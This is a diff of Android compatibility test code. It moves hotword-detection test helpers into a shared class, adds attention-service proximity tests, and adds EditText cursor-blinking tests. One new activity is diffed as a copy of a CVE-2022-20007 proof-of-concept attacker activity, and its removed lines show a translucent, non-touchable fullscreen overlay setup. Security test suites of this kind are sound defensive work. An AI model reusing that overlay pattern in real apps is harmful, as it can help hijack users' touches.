+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         // Can no longer use the detector because it is in an invalid state
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
     }
 
     @Test
     public void testHotwordDetectionService_destroySoftwareDetector_activeDetectorRemoved() {
         // Create SoftwareHotwordDetector
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         // Can no longer use the detector because it is in an invalid state
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION);
-    }
-
-    private void testHotwordDetection(int testType, String expectedIntent, int expectedResult) {
-        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
-                expectedIntent);
-        receiver.register();
-        perform(testType);
-        final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
-        receiver.unregisterQuietly();
-
-        assertThat(intent).isNotNull();
-        assertThat(intent.getIntExtra(Utils.KEY_TEST_RESULT, -1)).isEqualTo(expectedResult);
-    }
-
-    @NonNull
-    private Parcelable performAndGetDetectionResult(int testType) {
-        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
-                Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT);
-        receiver.register();
-        perform(testType);
-        final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
-        receiver.unregisterQuietly();
-
-        assertThat(intent).isNotNull();
-        final Parcelable result = intent.getParcelableExtra(Utils.KEY_TEST_RESULT);
-        assertThat(result).isNotNull();
-        return result;
-    }
-
-    private void perform(int testType) {
-        mActivityTestRule.getScenario().onActivity(
-                activity -> activity.triggerHotwordDetectionServiceTest(
-                        Utils.HOTWORD_DETECTION_SERVICE_BASIC, testType));
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
     }
 
     // TODO: Implement HotwordDetectedResult#equals to override the Bundle equality check; then
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
new file mode 100644
index 0000000..699a8f4
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.performAndGetDetectionResult;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.testHotwordDetection;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Instrumentation;
+import android.attentionservice.cts.CtsTestAttentionService;
+import android.os.Parcelable;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
+import android.service.attention.AttentionService;
+import android.service.voice.HotwordDetectedResult;
+import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.service.EventPayloadParcelable;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for using the Attention Service inside VoiceInteractionService using
+ * a basic HotwordDetectionService.
+ */
+@ApiTest(apis = {"android.service.voice.HotwordDetectedResult#getExtras"})
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "No real use case for instant mode hotword detection service")
+public final class HotwordDetectionServiceProximityTest
+        extends AbstractVoiceInteractionBasicTestCase {
+    /** TODO(b/247920386): Replace with the system constant. */
+    private static final boolean ENABLE_PROXIMITY_RESULT = false;
+
+    @Rule
+    public final DeviceConfigStateChangerRule mEnableAttentionManagerServiceRule =
+            new DeviceConfigStateChangerRule(sInstrumentation.getTargetContext(),
+                    DeviceConfig.NAMESPACE_ATTENTION_MANAGER_SERVICE,
+                    SERVICE_ENABLED,
+                    "true");
+
+    private static final String EXTRA_PROXIMITY_METERS =
+            "android.service.voice.extra.PROXIMITY_METERS";
+
+    private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
+
+    private static final String SERVICE_ENABLED = "service_enabled";
+    private static final String FAKE_SERVICE_PACKAGE =
+            HotwordDetectionServiceProximityTest.class.getPackage().getName();
+    private static final double SUCCESSFUL_PROXIMITY_DISTANCE = 1.0;
+
+    @BeforeClass
+    public static void enableAttentionService() throws InterruptedException {
+        CtsTestAttentionService.reset();
+        assertThat(setTestableAttentionService(FAKE_SERVICE_PACKAGE)).isTrue();
+        assertThat(getAttentionServiceComponent()).contains(FAKE_SERVICE_PACKAGE);
+        runShellCommand("cmd attention call checkAttention");
+    }
+
+    @AfterClass
+    public static void clearAttentionService() {
+        runShellCommand("cmd attention clearTestableAttentionService");
+    }
+
+    @Test
+    @RequiresDevice
+    public void testAttentionService_onDetectFromDsp() {
+        // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+        // by default, proximity should not be returned.
+        verifyProximityBundle(
+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                null);
+
+        // when proximity is unknown, proximity should not be returned.
+        CtsTestAttentionService.respondProximity(AttentionService.PROXIMITY_UNKNOWN);
+
+        verifyProximityBundle(
+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                null);
+
+        // when proximity is known, proximity should be returned.
+        CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+
+        verifyProximityBundle(
+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                SUCCESSFUL_PROXIMITY_DISTANCE);
+
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+    }
+
+    @Test
+    @RequiresDevice
+    public void testAttentionService_onDetectFromMic_noUpdates() {
+        // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+        verifyProximityBundle(
+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                null);
+
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+    }
+
+    @Test
+    @RequiresDevice
+    public void testAttentionService_onDetectFromMic_unknownProximity() {
+        // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+        CtsTestAttentionService.respondProximity(AttentionService.PROXIMITY_UNKNOWN);
+
+        verifyProximityBundle(
+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                null);
+
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+    }
+
+    @Test
+    @RequiresDevice
+    public void testAttentionService_onDetectFromMic_updatedProximity() {
+        // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+        CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+
+        verifyProximityBundle(
+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                SUCCESSFUL_PROXIMITY_DISTANCE);
+
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+    }
+
+    @Test
+    @RequiresDevice
+    public void testAttentionService_onDetectFromExternalSource_doesNotReceiveProximity() {
+        // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+        CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+
+        verifyProximityBundle(
+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                null);
+
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+    }
+
+    // simply check that the proximity values are equal.
+    private void verifyProximityBundle(Parcelable result, Double expected) {
+        assertThat(result).isInstanceOf(EventPayloadParcelable.class);
+        HotwordDetectedResult hotwordDetectedResult =
+                ((EventPayloadParcelable) result).mHotwordDetectedResult;
+        assertThat(hotwordDetectedResult).isNotNull();
+        if (expected == null || !ENABLE_PROXIMITY_RESULT) {
+            assertThat(
+                    hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY_METERS))
+                    .isFalse();
+        } else {
+            assertThat(
+                    hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY_METERS))
+                    .isTrue();
+            assertThat(
+                    hotwordDetectedResult.getExtras().getDouble(EXTRA_PROXIMITY_METERS))
+                    .isEqualTo(expected);
+        }
+    }
+
+    private static String getAttentionServiceComponent() {
+        return runShellCommand("cmd attention getAttentionServiceComponent");
+    }
+
+    private static boolean setTestableAttentionService(String service) {
+        return runShellCommand("cmd attention setTestableAttentionService " + service)
+                .equals("true");
+    }
+
+    @Override
+    public String getVoiceInteractionService() {
+        return "android.voiceinteraction.cts/"
+                + "android.voiceinteraction.service.BasicVoiceInteractionService";
+    }
+}
+
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
index 70200b8..2792389 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
@@ -21,13 +21,11 @@
 import android.content.Intent;
 import android.util.Log;
 import android.voiceinteraction.common.Utils;
-import android.voiceinteraction.service.BasicVoiceInteractionService;
-import android.voiceinteraction.service.MainInteractionService;
 
 public class TestVoiceInteractionServiceActivity extends Activity {
     static final String TAG = "TestVoiceInteractionServiceActivity";
 
-    void triggerHotwordDetectionServiceTest(int serviceType, int testEvent) {
+    public void triggerHotwordDetectionServiceTest(int serviceType, int testEvent) {
         Intent serviceIntent = new Intent();
         if (serviceType == Utils.HOTWORD_DETECTION_SERVICE_NONE) {
             serviceIntent.setComponent(new ComponentName(this,
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionDetectionHelper.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionDetectionHelper.java
new file mode 100644
index 0000000..9e7f573
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionDetectionHelper.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts.testcore;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Parcelable;
+import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.cts.TestVoiceInteractionServiceActivity;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+/**
+ * A helper class to perform an intent to start the Voice Interaction Service and receive Hotword
+ * Detection Result.
+ */
+public class VoiceInteractionDetectionHelper {
+    private static final int TEST_RESULT_AWAIT_TIMEOUT_MS = 10 * 1000;
+
+    public static void perform(
+            ActivityScenarioRule<TestVoiceInteractionServiceActivity> activityTestRule,
+            int testType, int serviceType) {
+        activityTestRule.getScenario().onActivity(
+                activity -> activity.triggerHotwordDetectionServiceTest(
+                        serviceType, testType));
+    }
+
+    public static void testHotwordDetection(
+            ActivityScenarioRule<TestVoiceInteractionServiceActivity> activityTestRule,
+            Context context, int testType, String expectedIntent, int expectedResult,
+            int serviceType) {
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context,
+                expectedIntent);
+        receiver.register();
+        perform(activityTestRule, testType, serviceType);
+        final Intent intent = receiver.awaitForBroadcast(TEST_RESULT_AWAIT_TIMEOUT_MS);
+        receiver.unregisterQuietly();
+
+        assertThat(intent).isNotNull();
+        assertThat(intent.getIntExtra(Utils.KEY_TEST_RESULT, -1)).isEqualTo(expectedResult);
+    }
+
+    @NonNull
+    public static Parcelable performAndGetDetectionResult(
+            ActivityScenarioRule<TestVoiceInteractionServiceActivity> activityTestRule,
+            Context context, int testType, int serviceType) {
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context,
+                Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT);
+        receiver.register();
+        perform(activityTestRule, testType, serviceType);
+        final Intent intent = receiver.awaitForBroadcast(TEST_RESULT_AWAIT_TIMEOUT_MS);
+        receiver.unregisterQuietly();
+
+        assertThat(intent).isNotNull();
+        final Parcelable result = intent.getParcelableExtra(Utils.KEY_TEST_RESULT);
+        assertThat(result).isNotNull();
+        return result;
+    }
+}
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 0d562db..5f41171 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -42,6 +42,15 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.EditTextCursorCtsActivity"
+                  android:label="Empty test activity"
+                  android:launchMode="singleTop"
+                  android:exported="true">
+            <intent-filter>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.AbsoluteLayoutCtsActivity"
              android:label="AbsoluteLayoutCtsActivity"
              android:exported="true">
diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml
index 7c6dfb4..dd28324 100644
--- a/tests/tests/widget/res/layout/numberpicker_layout.xml
+++ b/tests/tests/widget/res/layout/numberpicker_layout.xml
@@ -19,7 +19,8 @@
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/container"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content"
+    android:layout_height="match_parent"
+    android:gravity="center"
     android:orientation="vertical">
 
     <NumberPicker
diff --git a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
index a4ef244..e0c172a 100644
--- a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
@@ -21,12 +21,17 @@
 
 import android.app.Instrumentation;
 import android.graphics.Color;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
 import android.view.Gravity;
+import android.view.InputEvent;
+import android.view.MotionEvent;
 import android.view.ViewGroup;
 import android.widget.FrameLayout;
 import android.widget.PopupWindow;
 
+import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.rules.ActivityScenarioRule;
 import androidx.test.filters.MediumTest;
@@ -40,7 +45,10 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+// @AppModeFull because GestureNavRule does not work for
+// instant mode tests (b/238975931)
 @MediumTest
+@AppModeFull
 @RunWith(AndroidJUnit4.class)
 public class BackInvokedOnWidgetsTest {
 
@@ -93,7 +101,45 @@
     private void doBackGesture() {
         int midHeight = mUiDevice.getDisplayHeight() / 2;
         int midWidth = mUiDevice.getDisplayWidth() / 2;
-        mUiDevice.swipe(0, midHeight, midWidth, midHeight, 100);
+        quickSwipe(0, midHeight, midWidth, midHeight, 10);
         mUiDevice.waitForIdle();
     }
+
+    private void injectInputEventUnSynced(@NonNull InputEvent event) {
+        mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */,
+                false /* waitForAnimations */);
+    }
+
+    /**
+     * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction.
+     */
+    private void quickSwipe(float startX, float startY, float endX, float endY, int steps) {
+        if (steps <= 0) {
+            steps = 1;
+        }
+        final long startDownTime = SystemClock.uptimeMillis();
+        MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime,
+                MotionEvent.ACTION_DOWN, startX, startY, 0);
+        injectInputEventUnSynced(firstDown);
+
+        // inject in every 5 ms.
+        final int delayMillis = 5;
+        long nextEventTime = startDownTime + delayMillis;
+        final float stepGapX = (endX - startX) / steps;
+        final float stepGapY = (endY - startY) / steps;
+        for (int i = 0; i < steps; i++) {
+            SystemClock.sleep(delayMillis);
+            final float nextX = startX + stepGapX * i;
+            final float nextY = startY + stepGapY * i;
+            MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime,
+                    MotionEvent.ACTION_MOVE, nextX, nextY, 0);
+            injectInputEventUnSynced(move);
+            nextEventTime += delayMillis;
+        }
+
+        SystemClock.sleep(delayMillis);
+        MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime,
+                MotionEvent.ACTION_UP, endX, endY, 0);
+        injectInputEventUnSynced(up);
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/tests/tests/widget/src/android/widget/cts/EditTextCursorCtsActivity.java
similarity index 61%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
copy to tests/tests/widget/src/android/widget/cts/EditTextCursorCtsActivity.java
index ad87ea7..a393c58 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextCursorCtsActivity.java
@@ -14,20 +14,23 @@
  * limitations under the License.
  */
 
-package android.security.cts.CVE_2022_20007_attacker;
+package android.widget.cts;
 
 import android.app.Activity;
 import android.os.Bundle;
-import android.view.WindowManager;
+import android.widget.EditText;
 
-public class PocActivity extends Activity {
 
+public class EditTextCursorCtsActivity extends Activity {
+    /**
+     * Called when the activity is first created.
+     */
     @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
+    public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_main);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
-                | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+        setContentView(R.layout.edittext_layout);
+
+        EditText et = findViewById(R.id.edittext_simple1);
+        et.setText("test for blinking cursor");
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 2370562..ca3d7db 100755
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -19,6 +19,7 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
@@ -27,12 +28,14 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
+import android.content.Intent;
 import android.content.res.Configuration;
 import android.graphics.Point;
 import android.os.SystemClock;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
 import android.text.Editable;
 import android.text.InputFilter;
 import android.text.InputType;
@@ -51,6 +54,7 @@
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.inputmethod.EditorInfo;
 import android.widget.EditText;
+import android.widget.Editor;
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
@@ -89,6 +93,8 @@
     @Rule
     public ActivityTestRule<EditTextCtsActivity> mActivityRule =
             new ActivityTestRule<>(EditTextCtsActivity.class);
+    public ActivityTestRule<EditTextCursorCtsActivity> mEmptyActivityRule =
+            new ActivityTestRule<>(EditTextCursorCtsActivity.class, false, false);
 
     @Before
     public void setup() {
@@ -760,4 +766,67 @@
         object.click();
         SystemClock.sleep(ViewConfiguration.getDoubleTapTimeout() + 50);
     }
+
+    @Test
+    public void testCursorNotBlinkingOnNewActivity_WithoutFocus() {
+        Activity testActivity = mEmptyActivityRule.launchActivity(null);
+        EditText et = testActivity.findViewById(R.id.edittext_simple1);
+        Editor editor = et.getEditorForTesting();
+        boolean cursorBlinking = editor.isBlinking();
+        assertFalse(cursorBlinking);
+    }
+
+    @Test
+    public void testCursorBlinkingOnNewActivity_WithFocus() {
+        Activity testActivity = mEmptyActivityRule.launchActivity(null);
+        EditText et = testActivity.findViewById(R.id.edittext_simple1);
+        Editor editor = et.getEditorForTesting();
+
+        mInstrumentation.runOnMainSync(() -> {
+            et.requestFocus();
+        });
+
+        boolean cursorBlinking = editor.isBlinking();
+        assertTrue(cursorBlinking);
+    }
+
+    @Test
+    public void testSuspendAndResumeBlinkingCursor() {
+        Activity testActivity = mEmptyActivityRule.launchActivity(null);
+        final EditText et = testActivity.findViewById(R.id.edittext_simple1);
+        Editor editor = et.getEditorForTesting();
+
+        mInstrumentation.runOnMainSync(() -> {
+            et.requestFocus();
+        });
+
+        UiDevice device =  UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        boolean cursorBlinking = editor.isBlinking();
+        assertTrue(cursorBlinking);
+
+        // Send activity to the background.
+        device.pressHome();
+        device.waitForIdle();
+
+        cursorBlinking = editor.isBlinking();
+        assertFalse(cursorBlinking);
+
+        // Bring the activity back into the foreground
+        Intent resumeActivity = new Intent(mInstrumentation.getContext(),
+                EditTextCursorCtsActivity.class);
+        resumeActivity.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+        mActivity.startActivity(resumeActivity);
+
+        // Check if the activity is in the foreground.
+        device.wait(Until.findObject(By.text("test for blinking cursor")), 2000);
+
+        mInstrumentation.runOnMainSync(() -> {
+            et.requestFocus();
+        });
+
+        cursorBlinking = editor.isBlinking();
+        assertTrue(cursorBlinking);
+    }
+
 }
